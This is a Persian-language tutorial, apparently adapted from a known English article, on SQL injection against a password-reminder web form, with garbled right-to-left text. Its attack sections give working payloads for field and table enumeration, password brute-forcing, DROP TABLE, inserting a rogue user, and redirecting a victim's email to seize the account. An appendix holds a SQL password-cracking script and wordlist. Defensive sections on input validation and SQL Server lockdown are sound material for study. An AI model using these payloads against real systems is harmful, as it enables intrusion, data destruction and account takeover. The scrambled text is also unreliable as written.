مسلما . نیز وجود داشته باشند...  و ”phone number“ یا ”userid“ یا ”US Mail Address“شاید هم چیزهایی مثل . می باشد
هیچ وسیله معلومی برای به دست آوردن خروجی .  انجام دهیم، اما بعلاوه نام جدول را نیز ندانیمSHOW TABLEمشتاقیم که یک 

 .این دستور مسیر داده شده به ما وجود ندارد
در این . در هر مورد، ما کل گزارش را همان طور که می دانیم نشان می دهیم.  گام انجام خواهیم دادپس، کار را در چندین

را به عنوان نام فیلد حدس  emailگزارش با یک مقایسه با آدرس ایمیل خاتمه می یابد، پس بیائید ) ته(مورد ما می دانیم که پایان 
 :بزنیم و نتیجه را مشاهده کنیم

SELECT fieldlist 
  FROM table 
 WHERE field = 'x' AND email IS NULL; -- '; 

 
، در گزارشِ ساخته شده، می باشد و در نهایت، فهم اینکه )email(در اینجا در واقع نیت کار، استفاده از یک نامِ فیلدِ پیشنهادی 

این جاست که دلیل ( ایمیل نخواهیم داشت ما هیچ گونه توجهی به مطابقت داشتن آدرس. می باشد یا خیر) valid( معتبر SQLآیا 
 که نشان دهنده شروع توضیح --همچنین به همین منوال هیچ توجهی به علامت های ).  مصنوعی روشن می شود’x‘استفاده از 

)comment ( درSQLمصرف کردن این یک راه موثر برای .  می باشند، نخواهیم داشت)consume(آخرین علامت نقل قول  ) ‘(  ائه ار
 بودن آنها در میان نخواهد matchبدین صورت هیچ گونه نگرانی درباره مطابقت داشتن و در واقع .  می باشدapplicationشده توسط 

 .بود
 ما، ناقص و در واقع دارای SQLدریافت کنیم، به این معنی است که گزارش ) Server Error(اگر ما یک خطای سرور 
اغلب این موارد به احتمال زیاد . دریافت خواهیم کرد) Syntax Error( جواب یک خطای ساختاری ساختاری غیرصحیح می باشد و در

. اگر ما هرگونه جواب معتبری دریافت کنیم، در حقیقت نام فیلد را به درستی حدس زده ایم. از نام های غیرصحیح برای فیلدها می باشد
 .فرقی نخواهد کرد ”password was sent“ چه  را دریافت کنیم و”email unknown“اینجاست که ما چه

در .  استفاده می کنیم و این کار عمدی و از روی عمد انجام می گیردOR به جای ANDاما، به خاطر داشته باشید، ما از اتصال  
همچنین ، مسلما علاقمند حدس زدن آدرس ایمیل مشخصی نداریم، )SQL) schema mapping phaseوجه الگوی نقشه برداری در 

میل شده و عنوان آن به ) Random Users( به یک سری از کاربران به صورت تصادفی applicationنمی خواهیم که ایمیل هایی از 
با . چرا که این کار باعث ایجاد بدگمانی نسبت به ما خواهد شد.  یا هر چیزی بمانند آنHere is your forgotten passwordصورت 

 با یک آدرس ایمیل که هرگز نمی تواند معتبر باشد، ما مطمئن خواهیم بود که گزارش همیشه ANDدر واقع پیوندِ استفاده از ترکیب و 
 .ردیف های صفر را برگشت می دهد

.  دریافت می کنیم”Email Address Unknown“ کردن اطلاعات بر طبق موارد فوق، ما جوابی تحت عنوان submitبا 
اگر این مورد کار نکرد، مجبوریم .  نگه داری می شوندemailه آدرس های ایمیل در یک فیلد مانند بنابراین اکنون می دانیم ک

email_address یا mailدر مرحله بعد، ما  . یا هر چیزی شبیه به آن که ممکن است حاوی آدرس های ایمیل باشد را امتحان کنیم
تمامی این حدس ها در یک انجام .  و بمانند آنها را حدس می زنیمpassword, user ID, nameبعضی از اسامی معلوم دیگری را مانند 

 . دریافت کنیم، در حقیقت حدس ما درست بوده است”Server Failure“اکنون اگر در جواب هر چیزی غیر از . داده می شوند
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SELECT fieldlist 
  FROM table 
 WHERE email = 'x' AND userid IS NULL; -- '; 

 
 : نتیجه این عمل، ما چندین فیلد درست، به دست آوردیمبه عنوان

email  
passwd  
login_id  
full_name  

 
 اما اکنون با تلاش هایی که به همین صورت – در ادامه به آنها دسترسی پیدا می کنیم –مطمئنا فیلدهای بیشتری وجود دارند 

چطور نام . که این فیلدها درون آن می باشد، چیست) table(یم که نام جدولی اما هنوز نمی دان. انجام دادیم، چیز دیگری را پیدا نکردیم
 جدول را پیدا کنیم؟

 

 پیدا کردن نام جدول
:  در حال حاضر نام جدول را درون خود دارد، اما نمی دانیم که آن نام چیستbuilt-in (application(گزارش درون ساختِ 

 : می باشدsubselectیکی از آنها استفاده از . وجود دارد) و دیگر جدول ها(چندین روش برای پیدا کردن نام آن جدول 
در صورتی که نام جدول ناشناخته باشد، کار نخواهد کرد و در (گزارش مستقل زیر تعداد رکوردهای موجود در آن جدول را می رساند 

 ): خواهد شدFailنتیجه 
SELECT COUNT(*) FROM tabname 

 
 :مورد را در گزارش خود قرار دهیم تا به دنبال نام جدول بگردیم ما می توانیم این 

SELECT email, passwd, login_id, full_name 
  FROM table 
 WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); -- '; 

 
با تکرار .  می باشد یا خیرvalidعتبر و بلکه تنها می خواهیم ببینیم آیا نام جدول م. ما توجهی تعداد رکوردها نخواهیم داشت
 همان جدولی است membersاما آیا این .  بودDB یک جدول معتبر در membersکردن چندین حدس، سرانجام تشخیص دادیم که 

ین نشانه تنها ا:  داریمtable.field گزارش استفاده شده است؟ بنابراین، هنوز احتیاج به آزمایش دیگری با استفاده از نشانه اینکه در 
برای جدول هایی کار می کند که در حقیقت جزئی از این گزارش باشند و نه فقط اینکه آن جدول موجودیت داشته باشد یا به اصطلاح 

Existباشد . 
SELECT email, passwd, login_id, full_name 
  FROM members 
 WHERE email = 'x' AND members.email IS NULL; -- '; 

 
 را دریافت می کنیم، در حقیقت این پیام تایید و تصدیقی برای کار ما خواهد بود و به این ”Email Unknown“می  که ما هنگا

و به علاوه ) و دارای خطای ساختاری نیست( ما به صورت درست و صحیحی ترکیب و قالب دهی شده است SQLمعنی است که گزارش 
این مورد در آینده خیلی مفید خواهد بود، اما در عوض روش موقتی و . درستی حدس زده ایمبه این معنی است که ما نام جدول را به 

 !متفاوتی را اختیار کردیم
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 پیدا کردن چند کاربر
عضو :  آگاه هستیمusername را در ذهن داریم، اما فقط از یک membersدر این مسیر، ما تصوری جزئی از ساختار جدول 

یادآور می شود که ما به هیچ .  را گــرفت”Here is your password“ه اولین ایمیل ما تحت عنوان ک) Random Member(تصادفی 
اما به هر حال می خواهیم دستیابی . خود نامه را دریافت نکردیم، فقط آدرسی که این ایمیل به آن فرستاده شد را به دست آوردیم

 Highبرانی می گردیم که دسترسی بیشتری به اطلاعات داشته باشند و در واقع پس به دنبال کار.  داشته باشیمapplicationبیشتری به 

Privilegeباشند . 
 و کمی جستجو websiteبرای مثال با مراجعه به .  خود آن شرکت باشندwebsiteاولین گام برای شروع، مسلما می تواند 

این صفحات و لینک . ا همچنین چیزهایی برخورد خواهیم کرد یContact یا About Us های تحت عنوان buttonمعمولا به لینک ها یا 
اما حتی . بسیاری از آنها دارای آدرس ایمیل نیز خواهند بود. ها معمولا لیست کسانی که در شرکت فعالیت می کنند را به ما خواهد داد

 !!اد بدهندآنهایی که افراد را لیست نمی کنند، می توانند چندین سر نخ به ما برای پیدا کردن افر
این کار به ما اجازه خواهد داد که .  کنیمSubmit استفاده می کند را LIKE و جمله ی clause که از queryفرض کنیم یک 

 ”We Sent Your Password“هر دفعه یک پیام .  داشته باشیمDBمطابقت هایی جزئی را در رابطه با نام ها و آدرس های ایمیل در 
 .بعد ایمیل می کنیمو ) trigger(را ایجاد 

 
 اگرچه این کار باعث فاش شدن یک آدرس ایمیل که ما هر دفعه آنرا اجرا می کنیم، می شود، اما در واقع آن ایمیل را خواهد :توجه

فرستاد و همین مورد دلیل بر بدگمانی نسبت به ما خواهد شد و در نهایت دلالت می کند که ما این کار را خیلی سر سری و راحت 
  ) !! D:(اشتیم پند

 
اما این کار باید هر دفعه با وارد . اجرا کنیم)یا احتمالا دیگر اطلاعات (full name یا email name را روی queryما می توانیم 

 : پشتیبانی خواهد شدLIKE انجام شود، چرا که به این طریق % های wildcardکردن 
SELECT email, passwd, login_id, full_name 
  FROM members 
 WHERE email = 'x' OR full_name LIKE '%Bob% '; 

 
این رخداد اشاره :  وجود داشته باشد، ما فقط یکی از آنها را خواهیم دید’Saeed‘به خاطر داشته باشید حتی اگر بیشتر از یک 

 :و باید گفت که.  ما، به دقت بازدید و تصحیح شودLIKEمی کند که باید جمله ی 
Ultimately, we may only need one valid email address to leverage our way in ;)!! 

 
 

 Brute-Forceحدس پسوردهای 
 به صورت Email Password و Email Name کردن Include کردن پسوردها را به وسیله Testدر عوض ما آزمایش و 

نی خود استفاده کرده و پسوردهای گوناگونی را آزمایش امتحان می در این مثال، ما از قربا. مستقیم، به صورت واقعی انجام می دهیم
 :کنیم

SELECT email, passwd, login_id, full_name 
  FROM members 
 WHERE email = 'bob@example.com' AND passwd = 'hello123 '; 
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 باشد، پس ما هیچ انتظار نخواهیم داشت که  و گزارش، با فرم و قالبی صحیح میSQLاین گزارش همان طور که آشکارا پیداست، یک 
 Your“همچنین ما می دانیم، هنگامی پسورد را دریافت کرده ایم که پیام . دریافت کنیم) Server Error(پیام خطایی از سرور 

Password Has Been Mailed To You”ین روال می تواند با اسکریپت نویسی در  ا. یا چیزی شبیه به آن دریافت کنیمPerl به 
صورت اتوماتیک در آید، و اگرچه راه ما به سمت تهیه و ساخت اسکریپت نیز کج خواهد شد، اما دیگر نیاز به آزمایش واقعی آن 

 .پسوردها نخواهد بود
 

  قرار داردRead-Onlyبانک اطلاعاتی در حالت فقط خواندنی یا 
، فقط خواندنی باشد، به این SELECTاده ایم، و حتی اگر یک  کار چندانی انجام ندDBتا کنون، ما غیر از گرفتن گزارش از 

برای پایان جمله استفاده می کند و اگر ورودی به درستی بررسی نشده ) ; (Semicolon از SQL.  استSQLمعنی نخواهد بود که 
موثرترین و قوی ترین نمونه . اشددر انتهای گزارش نب) و دلخواه(باشد، دیگر شاید چیزی جلودار ما از قراردادن دستورهای نامربوط 

 :مورد زیر است
SELECT email, passwd, login_id, full_name 
  FROM members 
 WHERE email = 'x'; DROP TABLE members; -- '; 

 
:  داشتنخواهیمو ما توجهی به ورودی این گزارش ) ’x‘( به صورت مصنوعی ارائه می دهد E-Mailاولین قسمت یک آدرس 

این مثال، کل جدول . را مطرح کنیم) و دلخواه( بی ربط SQLقط می خواهیم آنرا از سر راه برداریم، بنابراین می توانیم یک دستور ما ف
members را پاک کرده یا به اصطلاح Drop می کند )Delete .( با این مثال فهمیدیم که نه تنها می توانیم دستورهایSQL جداگانه ای 

 !!خوب به هر حال امیدبخش است.  کنیمModify را نیز تغییر دهیم و DBه همچنین می توانیم را اجرا کنیم، بلک
 

 )Add(اضافه کردن یک کاربر جدید 
 را بدانیم، به نظر خواهد آمد که اضافه کردن یک رکورد جدید به آن membersمفروض بر اینکه، ما ساختاری جزئی از جدول 

اگر این کار عملی شود، ما به سادگی می توانیم به وسیله اعتبار جدیدی که به دست آوردیم به : ل باشدجدول، نظری باور پذیر و قابل قبو
 . شویمLoginسیستم به صورت مستقیم 
، تقسیــم )برای راحت کردن فهم این موضوع( را طولانی تر خواهد کرد و در اینجا، آنرا به چندین خط SQLاین کار، مقداری 

 :رشته های ما به هم اتصال دارند) و خارج از این مقاله(حالت عملی کرده ایم، اما در 
SELECT email, passwd, login_id, full_name 
  FROM members 
 WHERE email = 'x'; 
      INSERT INTO members ('email','passwd','login_id','full_name')  
      VALUES ('sarve_paidar@yahoo.com','hello','steve','Steve Friedl');-- '; 

 
حتی اگر ما به درستی نام فیلدها و جدول ها را به دست آورده باشیم، چندین چیز در انجام یک حمله موفق، دخالت خواهند  •

 :داشت
 وجود دارد، ما فضا کافی برای وارد کردن مستقیم این متن نسبتا بلند نداشته باشیم Webشاید در فرمی که در صفحه ی  •

 ).رچه می تواند در حول اسکریپت نویسی کار کرد داشته باشداگ(
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• Web Application ،کاربر شاید permission و اجازه را روی جدول membersنداشته باشد . 

 نیز وجود دارند و بعضی از آنها شاید مقادیر نخستین را احتیاج داشته باشند membersبدون شک فیلدهای دیگری در جدول  •
 . در انجام کارش می شودINSERTاین مورد سبب شکست خوردن ).  ها را مورد نیاز داشته باشندInitial Valueیعنی (

 شاید توانایی مناسبی، در application، خودِ )New Record(حتی اگر ما کار را تا ایجاد کردن یک رکورد جدید پیش ببریم  •
را که ما هیچ گونه مقداری )NULL) Auto-Inserted NULL Fields شده به صورت اتوماتیک و insertرابطه با فیلدهای 

 .برای آنها قرار نداده ایم، نداشته باشد

 ها باشد، بلکه شاید به دیگر اطلاعات مرتبط در دیگر member، شاید نه تنها احتیاج به یک رکورد در جدول عضو قانونییک  •
 .اضافه کردن یک رکورد به یک جدول شاید کافی نباشدبنابراین، . نیز احتیاج داشته باشد) accessrights(جدول ها 

 
 – به راستی و در حقیقت مطمئن نیستیم –(!!)  بر بندیم 5 و 4حال که جریان کار را فهمیدیم، می خواهیم کمر برای انسداد موارد 

.  برگشت داده شدServer Error را وارد کردم، یک password و user nameچرا که هنگامی که به صفحه اصلی برای لاگین رفتم و 
 . نمی شدندhandleاما با این حال، آنها کاملا . این رخداد اشاره دارد بر آن فیلدها

اگرچه شاید قادر باشیم : یک روش ممکن در اینجا، حدس زدن دیگر فیلدها می باشد که کاری بس دشوار و طولانی خواهد بود
را حدس بزنیم، اما خیلی ســـــــخت می ) ضی برای آنها همگان در نظر می گیرندکه معمولا نام های پیش فر (واضحدیگر فیلدهای 

 ) !!!D:( را در نظر مجسم کرد و به آنها نائل شد applicationتوان تشکیلات بزرگتری از 
 

Mailکردن یک پسورد  
 نیستیم یا membersلاعاتی هنگامی که تشخیص دادیم بر اساس توضیحات بالا قادر به ساختن یک رکورد جدید در بانک اط

در یک مرحله قبل،  .تغییر بدهیمدر صورت ساخت مشکلات فوق را داشتیم، به ناچار مجبوریم که یکی از اکانت های کاربری موجود را 
د و اتفاقا این کاربر درون سیستم و  می باشcom.bob@example یک ایمیل دارند و آن به صورت Bobما فهمیدیم که آقای 

application ،ما از  مورد نظر ما نیز یک اکانت دارد و در نتیجه عضو سیستم هدف ما است پسSQL Injection  برایupdate ِکردن 
 :ض کنیممی توانیم آدرس ایمیل او را با خودمان عو کردنِ رکورد او updateبرای ) مثلا( استفاده می کنیم و DBرکورد او در 

SELECT email, passwd, login_id, full_name 
  FROM members 
 WHERE email = 'x'; 
      UPDATE members 
      SET email = 'sarve_paidar@yahoo.com' 
      WHERE email = 'bob@example.com '; 

 
 را دریافت کردیم، اما پیش بینی ”We Didn’t Know Your Email Address“ز اجرای گزارش فوق، ما پیام بعد االبته، 

 شود، بنابراین به register به صورت صحیح، application نمی توانست با UPDATE. می شد که ناشی از آدرس ایمیل ساختگی باشد
که در (توسط ما  شده update با ایمیل – را کلیک کرده ”I Lost My Password“بعد از اینکار لینک . ، اجرا شد(!!)آرامی و بیصدا 

 : و یک دقیقه بعد این ایمیل را دریافت کردم–نهایت ایمیل خودمان است 
From: system@example.com 
To: sarve_paidar@yahoo.com 
Subject: Intranet login 
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This email is in response to your request for your Intranet log in information. 
Your User ID is: bob 
Your password is: hello 

 
تنها کار ما لاگین کردن مستقیم به سیستم به عنوان یک کاربر سطح بالا بود و در نهایت این کاربر ارشدتر از کاربری اکنون 

نت به هر حال در داخل سایت اینترا . ایجاد کردیمINSERT، ما به وسیله روش )احتمالا یک کاربر سطح پائین ایجاد می شد(است که 
بهترین شرط در این مورد آن است که بگویم بسیاری از سایت های . ، یک لیست از تمامی کاربران وجود داشت)در بین دیگر چیزها(

اینترانت ها همچنین اکانت هایی در شبکه های شرکتی که بر اساس ویندوز است دارند و شاید بعضی از آنها یک پسورد را در چندین 
از زمانی که برای همگان شفاف شده که ما راه ساده ای برای استخراج هر پسورد اینترانتی داریم، و از . ده باشندجا مانند هم به کار بر

 !! را روی دیوارآتش شرکت قرار داده ایم، خیلی راحت می توان این نوع حملات را انجام دادPPTP VPNزمانی که ما یک پورت 
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 SQL Injectionرابر حملات  مقابله در ب و روش های توصیه ها: 9بخش 
 

 روش هایی کلی برای مقابله
 تغییر داده و به کلمه ای کـه حـدث زدن آن مشـکل باشـد تغییـر                   default را از حالت     saهمواره رمزعبور را برای یوزری با نام         •

 ).که اصول کلی برای این کار رو هم حتما بلدید و از آن تبعیت می کنید(دهید 

 . های ذخیره شده به صورت پیش فرض را پاک کنیدprocedureتمامی رویه ها و  •

 .را فیلتر کنید...  و :،--،"،'تمامی کاراکترهای  •

 . ها مد نظر قرار دهیدpatch بودن را همراه با updateبه روزبودن و  •

 . بلاک کنیدfirewallرا با استفاده از ) Oracle (1521و ) MS SQL (1433/1434تمامی پورت های  •

 

 SQL Injectionله با بیشتر پیرامون مقاجزئیاتی ب
 :اعتبار سازی ورودی ها

به طور عادی، در یک پروژه پیشـرفته توجـه کمتـری بـه آن داده شـده        . اعتبار سازی ورودی می توند یک موضوع پیچیده باشد        
مله می باشد و مشکـــلات اعتبار  که علت حapplication از قسمت هایی از یک overenthusiasticالبته از زمانی که اعتبارسازی     . است

در زیـر مختصـری دربـاره موضـوع اعتبارسـازی بـا یـک نمونـه،              . سازی داده ها که ممکن است بسیار سخت حل شوند، نگهداری می کند            
ت، چرا که    قرار داده نشده اس    applicationبرای استفاده مستقیم و بدون تغییر در        ) مطمئنا(این کد نمونه و مثال      . مقداری بحث می کنیم   

 . تنها تفاوت استراتژی ها را به خوبی توضیح می دهد
 

 :زیر دسته بندی شوندهای روش های گوناگون اعتبارسازی می توانند به صورت 
 
 . شوندvalidتلاش برای پردازش داده و اطلاعات و تغییر آن، به طوریکه آنها -)1
 .ی مضر شناخته شده هستندرد کردن و نپذیرفتن ورودی هایی که به عنوان ورودیها-)2
 .پذیرفتن ورودی هایی که تنها با عنوان ورودی های غیرمضر برای ما شناخته شده اند-)3
 

 لزوما درباره اینکه چـه چیزهـایی مـی تواننـد اطلاعـات مضـر را                 developerاول اینکه،   . چندین مشکل مفهومی دارد   -1راه حل   
دوم اینکـه،  . ت های مختلفـی از اطلاعـات مضـر همـه روزه در حـال کشـف شـدن هسـتند        تشکیل دهند، آگاه نیست، چرا که فرم ها و حال 

messaging   کردن اطلاعات ممکن است طول )length (         آنرا تغییر دهد، که در نهایـت بـا مسـائلی کـه در قبـل دربـاره طـول ورودی هـا
وجود دارد کـه ممکـن اسـت اطلاعـات را منجـر بـه               ) second-order(در آخر اینکه تاثیراتی     . مفصلا توضیح داده شد، روبرو خواهیم شد      

 .دوباره استفاده کردن در سیستم بکنند
 

 وجود داشت، را دچار خواهد شد چرا که ورودی های شناخته شده ی مضر، همـه       1 نیز بعضی مشکلاتی که در مورد        – 2راه حل   
 . رشد خواهد یافتروزه در حال تغییر هستند و در نهایت یک حمله تکنیک حمله ی جدید توسعه و
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 .اما انجام و ایفای آن سخت تر است.  به طور نسبی بهترین مورد در بین این سه راه حل می باشد-3راه حل 

 
 می باشـد کـه در نهایـت         3 و   2بهتر راه نزدیک شدن به یک نقطه ی امن، به ظاهر مخلوط و متحد کردن دو راه                  به احتمال زیاد،    

 یک مثال از ضرورت ترکیب این       !! می دهند و سپس آن ورودی را برای اینکه مضر باشد چک می کنند              ورودی های بدون مشکل را اجازه     
 :باشد) hyphenated(دو راه می تواند نام های نوشته شده با فضای خالی 

Quentin Bassington-Bassington  
 

بشناسیم، اما همچنین مـی دانـیم کـه تـوالی            ها را در ورودی هایمان به عنوان یک ورودی خوب و بدون مشکل               hyphenما باید   
 اطلاعات را بـا  messagingمشکل دیگر زمانی اتفاق می افتد که .  معنا و مفهوم خاصی خواهد داشتSQL Server برای –کاراکتر یعنی 

 یـا   'select' یـا    '--'برای مثال، اگـر مـا یـک یـک فیلتـری را قـرار دهـیم کـه                    .  می کنیم  combineمعتبرسازی توالی کاراکترها، مخلوط و      
'union;              را به عنوان موردی مشکل دار طبق قلم داد کند، آنوقت فیلتر messaging   آن single-quote ها را حذف خواهد کرد، نفوذگر 

 :می توانست ورودی مانند زیر وارد کند
uni'on sel'ect @@version-'-  

 
سایی کاراکترهای خوب اعمـال شـد، نفـوذگر مـی توانـد بـه سـادگی                  پاک شد و بعد از اینکه فیلتر شنا        single-quoteزمانی که   

single quote ها را در رشته ها و stringsهای مضر شناخته خود پراکنده کند و در ردیابی و کشف این مورد بگریزد . 
 

 .در زیر بعضی از کدهای معتبرسازی را می بینید
 : هاSingle Quote و جا انداختن Escape – 1روش 

function escape( input )  
input = replace(input, "'", "''")  
escape = input  
end function  

 
 :رد کردن ورودی های شناخته شده ی مضر: 2روش 

function validate_string( input )  
known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )  
validate_string = true  
for i = lbound( known_bad ) to ubound( known_bad )  
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then  
validate_string = false  
exit function  
end if  
next  
end function 
 

 :تنها اجازه به ورودی های بدون ضرر بدهیم: 3روش 
function validatepassword( input )  
good_password_chars = 
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"  
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validatepassword = true  
for i = 1 to len( input )  
c = mid( input, i, 1 )  
if ( InStr( good_password_chars, c ) = 0 ) then validatepassword = false  
exit function  
end if  
next  
end function  

Lockdown در SQL Server: 
در زیر لیستی از مواردی که در هنـــــگام ساختن .  کنیمlock down را SQL Server بایدمهم ترین نکته این است که، حتما 

 : هستید، باید انجام دهیدSQL Server Buildیک 
 . را تعیین کنیدروش های ارتباطی به سرور. 1

 Enabled هایی که شـما اسـتفاده مـی کنیـد، فعـال و      Network Libraryبازبینی کنید که فقط کتابخانه های شبکه ای یا -)الف
 . کمک بگیریدNetwork Utilityباشند، برای این منظور می توانید از 

 . هستندExistبازبینی اینکه کدام اکانت ها وجود دارند یا به اصطلاح . 2
 . ها ایجاد کنیدApplication را برای استفاده Low Priviledgeاکانت های -)الف
 .اکانت های غیرضروری و غیرلازم را پاک کنید-)ب

می توانید برای امتحان کردن پسوردها از نظر قوی بـودن از            . اطمینان حاصل کنید که تمامی اکانت ها، رمزهای عبور قوی داشته باشند           . 3
Password Auditing Script علیه سرور در یک نظم معمولی ( ها استفاده کنید– Regular Basis!( 

اگر این کار انجام شـده باشـد،   .  ها می توانند بدون هیچ خطری حذف شوندExtended Stored Procedureبسیاری از -)الف 
 . ها، هستندExtended Stored Procedure هایی بپردازید که حاوی کدهای این dll.همچنین باید به پاک کردن 

 بـرای مثـال    –نمونه و مثال که به صورت پیش فرض در برنامه ارائه شـدند را پـاک کنیـد                   ) DB(تمامی بانک های اطلاعاتی     -)ب
northwind و pubs . 

 . هایی می تواند دسترسی داشته باشدobjectبررسی کنید که هر اکانت به چه موضوعات و . 4
 برای دستیابی به بانک اطلاعاتی استفاده می کند، بایـد لــــــزوما کــــــــــمترین اجـــــازه                 applicationاکانتی که یک    -)الف

)Minimum Permission (  دستیابی را برایobjectهایی که مورد نیازش هستند، داشته باشد . 
 . مربوط به سرور را بازبینی کنیدpatchسطح .5

 Format String و BufferOverFlow، علیه سرور از نـوع  ) نیز بحث خواهیم کرددر آینده در این مورد(چندین حمله -)الف
 . به روز نگه داشته شودpatch از نظر serverپس همیشه باید .  ها، وجود داردpatchو همچنین چندین مشکل امنیتی نیز در خود 

 . برداری می شوند و با آنها چه می شودlogبررسی کنید که چه چیزهایی . 6
 : به آدرس زیر وجود داردwww.sqlsecurity.com نسبتا خوب در checklistیک 

http://www.sqlsecurity.com/checklist.asp 
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 توصیه ها
ایـن مهمتـرین   .  نداریـد SQL Injectionمهم ترین توصیه آن است که شما اطمینان حاصل کنید که هیچ گونه آسیب پذیری 

توصیه است، چرا که حتی اگر شما تمامی مشکلات ذکر شده در این مقاله را شناسایی کـرده و در جهـت رفـع آن اقـدام کنیـد، مشـکلات                               
، خــوب اســت کــه از گــزارش هــای پــارامتری شــده SQL Injectionبــرای جلــوگیری از . جدیــد روز بــه روز در حــال ایجــاد هســتند

)Parameterized (   امی ورودی هـای کـاربران را در صـورتی کـه کاراکترهـای غیـر           استفاده کنید و تمــــــــــــــــ ـalphanumeric 
)Non-Alphanumeric (وارد شد، فیلتر کنید . 

سیستماتیک ترین و اصولی ترین روش برای اقدام آن است که استانداردهای رمزگذاری و برنامه نویسی کـه احتیـاج بـه انجـام                       
اگر کد در حال حاضر نوشته شده است، یک بازدید از کد می تواند برای تشخیص هـر گونـه آسـیب                      .  کنید setورد دارد را اعمال و      این م 

همچنین توصیه می شود که شما به بعضی از ابزارهای اتوماتیک نیز نگاه کنید که در حال حاضـر بـرای تشـخیص ایـن                         . پذیری مفید باشد  
حتی اگر شما احساس می کنید که تمامی آسیب پذیری های شناخته شـده را فیلتـر کردیـد، هنـوز                     .   شده اند  نوع از مشکلات تهیه و ارائه     

، SQL Serverهـای  ) functionality(بهترین بهره آن است که این حملات مخصوص را به وسیله غیر فعال کردن بعضـی از تابعیـت   
خوشبختانه، .  استفاده می کنید، این کار کاربردی و عملی نخواهد بودSQL Serverدر صورتی که واقعا از تابعیت های . جلوگیری کنیم

 را در گذر ad hocشما باید گزارش های .  که ما سعی در غیرفعال کردن آن هستیم، اغلب استفاده نمی شودfunctionalityتابعیت و 
 به وسیله OLEDB Providerاز داخل  SQL Server از Ad Hocگزارش های .  غیر فعال کنیدSQL Server از OLEDBمیان 

تنهـا  (اگر از یـک مـورد نامگـذاری شـده اسـتفاده مـی کنیـد                 .  در رجیستری کنترل می شوند     DisallowAdhocAccessتعریف کردن     
Microsoft SQL Server 2000( مقدار ،DisallowAdhocAccess را در زیر هر subkey در registry key   تغییـر  1 زیر بـه   

 :دهید
HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\[Instancename]\Providers. 
 

 از subkey را در زیــر هــرDisallowAdhocAccessاگــر از یــک مــورد پــیش فــرض اســتفاده مــی کنیــد، مقــدار مربــوط بــه 
registery key تغییر دهید1 زیر به : 

 
HKEY_LOCAL_MACHINE\Software\MSSQLServer\MSSQLServer\Providers. 
 

 : کنیدset را تنظیم و valueبا دنبال مراحل زیر، مقدار و 
  ).regedit.exe( را باز کنید Registry Editorبرنامه -)1
2(-Registry Keyلیست شده در بالا را پیدا کنید . 
 ).First Provider Subkey( را انتخاب کنید provider subkeyاولین -)3
    Edit\New\DWORD Value: وبرو را از منو انتخاب کنیدگزینه ر-)4
 . تغییر دهیدDisallowAdhocAccess را به DWORD Valueنام -)5
 . تغییر دهید1کلیک کرده و مقدار آنرا به -بعد از تغییر نام روی آن دابل-)6
 . این جریان را تکرار کنیدproviderبرای هر -)7
 

 کنیـد و اطمینـان بیشـتری حاصـل     set بودن تنظیم و read-only را به registry keyی توانید اگر مقداری بیشتر دقیق باشید م
 ها باشید و آنرا بـه سـرعت   Security Fixهمچنین بسیار مهم است که همراه با آخرین .  شوندeditکنید از اینکه دیگر آنها نمی توانند 
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حتیاط، فیلترهای دیوارآتش را برای بلاک کردن ترافیک هـای غیرضـروری            به عنوان آخرین پیش گیری و ا      . بر روی سیستم اعمال کنید    
outbound    ث مـی ــــــ ـشـما بیشـتر امـن شـوند بلکـه باع      این کار نه تنها باعث می شود که بانک های اطلاعاتی            .  پیکربندی و تست کنید 

 .  گرددSecureشوند کل شبکه شما امن و 
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  و پیوست هاضمائم: 10بخش 
 

 SQL Crack – 1ضمیمه 
، بــرای کــارکرد صــحیح احتیــاج بــه ســتون )authorتوســط ( تهیــه شــده SQL Password Crackingاســکریپتی کــه بــرای 

password   در master..sysxlogins          اما، یک ابزار فوق العاده مفید برای مـدیران         .  دارد و کم و بیش توسط نفوذگران استفاده می شود
 . بال بهبود بخشیدن کیفیت رمزهای عبور برای بانک اطلاعاتی در حال استفاده، هستندبانک های اطلاعاتی می باشد که به دن

 هـا  PassFile.  عـوض کنیـد  bulk insert بـا  C:\Temp\Passwords.txtرای استفاده از اسکریپت، مسیر رمزعبور را  با ـــــب
 کامل و مرجع اینجا تهیه نمی بینیم امـا در زیـر   password listبنابراین ما یک . می توانند از مکان های زیادی در اینترنت به دست آیند

 را نیز در خط آخـر  <CR><LF> در حالی که کاراکترهای MS-DOS TEXT FILEفایل باید در غالب (یک مثال کوچک را می بینیم 
، اکانـت  Joe حقیقـت اکانـت هـای    در.  را پیدا کنـد Joeاسکریپت همچنین می تواند اکانت های یکجور یا به اصطلاح           ). دارند، ذخیره شود  

 . می باشدBlankهایی هستند که یوزرنیم و پسورد یکسان دارند و یا پسورد آنها 
password  
administrator 
modeadmin 
admin123 
sqlserver  
sql  
admin  
sesame  
sa  
guest  
… 
 

 
 ):sqlcrack.sql(را می بینید در فوق در زیر اسکریپت توضیح داده شده 

create table tempdb..passwords( pwd varchar(255) )  
bulk insert tempdb..passwords from 'c:\temp\passwords.txt'  
select name, pwd from tempdb..passwords inner join sysxlogins  
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)  
union select name, name from sysxlogins where  
(pwdcompare( name, sysxlogins.password, 0 ) = 1)  
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid  
where sysxlogins.password is null and syslogins.isntgroup=0 and  
syslogins.isntuser=0  
drop table tempdb..passwords 
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  پایان-2ضمیمه 
 می توان از مقاله مـذکور بـه   .گردیده استتهیه و ارائه ، SQL Injection حول مبحث به منظور رفع مشکلات ممکنهاین مقاله 

رد ولـی سـعی   هر چند مباحثی ناگفته در این میـان وجـود دا  .  استفاده کردSQL Injection جهت انجام عملیات Tutorialعنوان یک 
ایـن  تکمیـل   مند اسـت بـرای      ـــ ـلذا خواهش . شده که به نحو احسن مطالب پرداخت شوند تا به راحتی توسط خواننده هضم و جذب شوند                

 .این مقاله قرار داده شودی مجموعه مطلب مورد نظر خود را خاطر نشان کنید تا در نسخ بعد به آنها نیز رسیدگی گردد و در مقاله 
 

ایـن مقالـه در سـایت    تمـامی حقـوق   . خـلاف محسـوب خواهـد شـد     Wolf ه یا قسمتی از آن، بدون اجـازه از        ی کپی برداری از این مقال     هر گون  :توجه
